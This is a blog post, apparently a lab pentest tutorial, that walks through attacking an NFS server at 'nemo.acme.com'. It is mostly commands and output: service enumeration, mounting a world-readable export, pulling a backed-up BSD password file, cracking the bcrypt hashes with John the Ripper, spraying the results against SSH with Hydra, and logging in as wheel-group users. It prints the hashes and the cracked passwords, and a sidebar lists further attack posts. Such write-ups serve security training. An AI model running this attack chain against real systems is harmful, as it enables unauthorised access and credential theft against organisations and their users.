Tuesday, September 3, 2019

Attacking NFS

This is our data set we will work from which was gathered during the OSINT phase from the company website: http://www.acme.com 

k.madden@mail.acme.com
t.stephens@mail.acme.com
k.parsons@mail.acme.com
d.hansen@mail.acme.com
k.ball@mail.acme.com
c.harvey@mail.acme.com
j.macdonald@mail.acme.com
c.gibbs@mail.acme.com
j.mcpherson@mail.acme.com
g.joyner@mail.acme.com
c.casey@mail.acme.com
c.eaton@mail.acme.com
c.rojas@mail.acme.com

With this list of email addresses and possible user names we will attempt to gain shell access to the remote through NFS enumeration and exploitaion.

First lets do a quick service scan on our suspected NFS server. 

root@asus:~/pentest_notes% nmap -sV -T4 -p111,2049 nemo.acme.com

Starting Nmap 7.01 ( https://nmap.org ) at 2018-12-28 04:21 MST
Nmap scan report for nemo.acme.com
Host is up (0.0024s latency).
PORT     STATE SERVICE VERSION
111/tcp  open  rpcbind 2 (RPC #100000)
2049/tcp open  nfs     2-3 (RPC #100003)
MAC Address: 08:00:27:30:FA:3B (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.97 seconds
root@asus:~/pentest_notes%

Query rpcbind for information about what services are currently running on the remote host. 

sam@asus:~/pentest_notes% rpcinfo -p nemo.acme.com
   program vers proto   port  service
    100000    2   tcp    111  portmapper
    100000    2   udp    111  portmapper
    100005    1   udp    839  mountd
    100005    3   udp    839  mountd
    100005    1   tcp    673  mountd
    100005    3   tcp    673  mountd
    100003    2   udp   2049  nfs
    100003    3   udp   2049  nfs
    100003    2   tcp   2049  nfs
    100003    3   tcp   2049  nfs
sam@asus:~/pentest_notes%

We can verify is the NFS service is actually running by querying a specfic port and program number. 

sam@asus:~/pentest_notes% rpcinfo -n 2049 -t nemo.acme.com 100003
program 100003 version 2 ready and waiting
program 100003 version 3 ready and waiting
sam@asus:~/pentest_notes%

Now we can query the NFS server and ask to see the list of mountable drives 

root@asus:~/pentest_notes% showmount -e nemo.acme.com
Export list for nemo.acme.com:
/export/backups (everyone)
root@asus:~/pentest_notes%

We see that the /export/backups is accessible to everyone so we will try to mount that directory locally. first we need to create a local mount point. we will call this `/mnt/loot`. 

root@asus:~/pentest_notes% mkdir /mnt/loot
root@asus:~/pentest_notes%

after we create the local mount point we can try and mount the remote directory. 

root@asus:~/pentest_notes% mount nemo.acme.com:/export/backups /mnt/loot
root@asus:~/pentest_notes%

If no errors occur then we are good. now lets see what we got by cd'ing into our local mount point `/mnt/loot`. 

root@asus:~/pentest_notes% cd /mnt/loot;ls -la
total 12
drwxrwxrwx 2 root root  512 Dec 27 20:44 .
drwxr-xr-x 4 root root 4096 Dec 28 03:53 ..
-rwxrwxrwx 1 root root 5604 Dec 27 20:44 master.passwd.old
root@asus:/mnt/loot% 

root@asus:/mnt/loot% cat master.passwd.old | less
root:$2b$10$7KoamPq9ZOkL4YUYoaNpHu2S671nAjEd7jhiy6Kf.TWCLpA7xwnrG:0:0:daemon:0:0:Charlie &:/root:/bin/ksh
daemon:*:1:1::0:0:The devil himself:/root:/sbin/nologin
operator:*:2:5::0:0:System &:/operator:/sbin/nologin
bin:*:3:7::0:0:Binaries Commands and Source:/:/sbin/nologin
build:*:21:21::0:0:base and xenocara build:/var/empty:/bin/ksh
sshd:*:27:27::0:0:sshd privsep:/var/empty:/sbin/nologin
_portmap:*:28:28::0:0:portmap:/var/empty:/sbin/nologin
_identd:*:29:29::0:0:identd:/var/empty:/sbin/nologin
_rstatd:*:30:30::0:0:rpc.rstatd:/var/empty:/sbin/nologin
...
root@asus:/mnt/loot%

We got what looks like a backup of the master.passwd (BSD) file of the NFS server which we will use next to try and gain shell access. 

root@asus:/mnt/loot% cat master.passwd.old | awk 'BEGIN{FS=":"} {if ($3 > 1000 || $3 == 0) print $1 ":" $2}'
root:$2b$10$7KoamPq9ZOkL4YUYoaNpHu2S671nAjEd7jhiy6Kf.TWCLpA7xwnrG
k.madden:$2b$09$d6VfZmp2SbBV1HVo2OYC4ebZeoNspr3XoMVOaCGTaiXaWGng45.3u
t.stephens:$2b$09$daF97oYu6wAi3c0gHkKgPuKn0HAeu8yf8u1b3aBRmxEFXyJHyCpHG
k.parsons:$2b$09$/goSifrmIrT/sds5UHdPwOyQrO9RcoogBUW.r6JviwMi4s.osmp6G
d.hansen:$2b$09$4Z5FxDk1gmLk9/utv8B78OOsEK/fONTPD2kSzFzgGbcXS6t.fxKga
k.ball:$2b$09$Oy1xHnN5akCb3T04X2mdGes.9TRm6uL4eCz7N7HVBFj2FV83aoSxe
c.harvey:$2b$09$a.FBS1/idqVpL1c1W4BtkuZrLiliBrk9FiYsJ834TJQMLosnLWzde
j.macdonald:$2b$09$tNp6xHtL5F1fTCx7cugGh.iqeFwBU5QkXTSDyzHerOLxYwwI0XplC
c.gibbs:$2b$09$J21XaR8.IOy30OXzSU61Kefyg6w24GN5i9nshfQkjOAsJqYHFRDRq
j.mcpherson:$2b$09$2V.h6JWa/I.zY1g0oc/K3uhnYugP0kMUXGCBTzSngi1Km2XKGM3TO
g.joyner:$2b$09$LPPpcASJvm57u7ethcJ9Zezo0btiowPieLNaP2VneMmVZUpu/Us0u
c.casey:$2b$09$tkrV9v9ZOoX/lABPhbBTeOXtHX/hogOXqK47KE6N.DQKKlimDw8LO
c.eaton:$2b$09$1ftTp/OAcRGb5GWlTqeA8.j4naL0dwlIUh.RsQNez1yEOQjDMr/Cq
c.rojas:$2b$09$MMs5cVaZrAlXmT/enxCbSOwzdi3I.PUGaN83wXw5/XHwYRR6oOYY.
root@asus:/mnt/loot%

All these entries will be used in a dictonary attack against the master.passwd file using JTR (John The Ripper). 

root@asus:~/src/john/run% ./john --format=bcrypt --wordlist=/home/sam/pentest_notes/ry.txt ~/pentest_notes/master.passwd.openbsd 
Using default input encoding: UTF-8
Loaded 13 password hashes with 13 different salts (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 512 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
naruto           (k.ball)
summer           (c.harvey)
whatever         (k.madden)
spongebob        (c.gibbs)
junior           (g.joyner)
yellow           (c.rojas)
taylor           (c.eaton)
cookie           (d.hansen)
sweety           (j.macdonald)
joseph           (j.mcpherson)
dragon           (t.stephens)
softball         (c.casey)
12g 0:00:00:03 DONE (2018-12-28 13:44) 3.508g/s 3.801p/s 49.41c/s 49.41C/s whatever..yellow
Use the "--show" option to display all of the cracked passwords reliably
Session completed
root@asus:~/src/john/run%

After we got the usernames and passwords we could, we can now test for still valid logins using the Hydra tool against SSH. 

root@asus:~/pentest_notes% hydra -L nemo.acme.com-userlist.txt -P nemo.acme.com-passlist.txt nemo.acme.com ssh
Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2018-12-28 13:56:23
[DATA] max 16 tasks per 1 server, overall 64 tasks, 52 login tries (l:13/p:4), ~0 tries per task
[DATA] attacking service ssh on port 22
[22][ssh] host: nemo.acme.com   login: k.madden   password: whatever
[22][ssh] host: nemo.acme.com   login: t.stephens   password: dragon
[22][ssh] host: nemo.acme.com   login: c.casey   password: softball
[22][ssh] host: nemo.acme.com   login: c.rojas   password: yellow
1 of 1 target successfully completed, 4 valid passwords found
Hydra (http://www.thc.org/thc-hydra) finished at 2018-12-26 22:55:50
root@asus:~/pentest_notes%

So out of the 13 users we found, 4 of them still use the same password for their login. Now we can verify if each login works. 

sam@asus:~/pentest_notes% ssh -l k.madden nemo.acme.com
The authenticity of host 'nemo.acme.com (192.168.0.133)' can't be established.
ECDSA key fingerprint is SHA256:JdXLz4mKxMOL/l6tGK/5ETiDUAWVVX0HCmDiuQyuxig.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'nemo.acme.com' (ECDSA) to the list of known hosts.
k.madden@nemo.acme.com's password: 
OpenBSD 6.4 (GENERIC) #926: Thu Oct 11 13:43:06 MDT 2018

Welcome to OpenBSD: The proactively secure Unix-like operating system.

Please use the sendbug(1) utility to report bugs in the system.
Before reporting a bug, please try to reproduce it with the latest
version of the code.  With bug reports, please try to ensure that
enough information to reproduce the problem is enclosed, and if a
known fix for it exists, include that as well.

nemo$ hostname
nemo.acme.com
nemo$ id
uid=1001(k.madden) gid=1001(k.madden) groups=1001(k.madden), 0(wheel)
nemo$ su t.stephens
Password:
nemo$ id
uid=1002(t.stephens) gid=1002(t.stephens) groups=1002(t.stephens), 0(wheel)
nemo$ su c.casey
Password:
nemo$ id
uid=1011(c.casey) gid=1011(c.casey) groups=1011(c.casey), 0(wheel)
nemo$ su c.rojas
Password:
nemo$ id
uid=1013(c.rojas) gid=1013(c.rojas) groups=1013(c.rojas), 0(wheel)
nemo$ exit
nemo$ exit
nemo$ exit
nemo$ exit
Connection to nemo.acme.com closed.
sam@asus:~/pentest_notes%

As you can see all of the users are in the `wheel` group meaning they can su to root if they know the passwd.

at

No comments:

Post a Comment

Subscribe to: Post Comments (Atom)

Exploiting Weak WEBDAV Configurations

The server we are going to audit has the following fingerprint. 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2) Next we need t...

  • Enumerating SNMP Servers with NMAP
    NMAP gives you the ability to use scripts to enumerate and exploit remote host with the use of the NMAP Scripting Engine. Today we will be ...
  • Enumerating SMTP Servers with NMAP
    NMAP gives you the ability to enumerate SMTP service with some scripts from the NMAP Scripting Enigne. These scripts will produce some gene...
  • Testing LDAP servers with examples
    Today we are going to be attacking the remote service LDAP. The only thing we need is an IP Address so lets ping our host to verify its up ...
  • Exploring POP3 Servers
    Scanning the remote host We can use NMAP to scan the remote host and run enumeration scripts against the POP3 server. root@asus:~/unix% ...
  • Reading local files with XXE attacks
    Today we will be exploring XXE XML External Entity Attacks. A XXE attack is a attack that is brought against an application that deals with...
  • bWAPP Remote & Local File Inclusion (RFI/LFI)
    In bWAPP There is a module for RFI and LFI injections. Our goal is to exploit these vulnerabilities and get local access to the remote mac...
  • Socat Encrypted Bind and Reverse shells
    Encrypted Bind Shell First we need to generate a new openssl key to use with our bind shell. Victim Box: user@debian:~$ openssl req -ne...
  • DVWA: SQL Injection (Blind) with sqlmap
    We start off by getting the database names hosted on the remote server. sam@ubuntu:~/pentest/sqlmap$ python sqlmap.py -u "http://192...
  • Exploring NTP servers
    The ntpupdate command is used for updating your system time from a remote NTP server root@asus:~/unix% ntpdate -d 48.21.33.124 24 Sep 11:...
  • Metasploitable II: Samba Shares
    Lets first start off with an nmap scan of the remote host. root@ubuntu:~# nmap -p 139,445 -sV -sC 192.168.56.101 Starting Nmap 7.60 ( ht...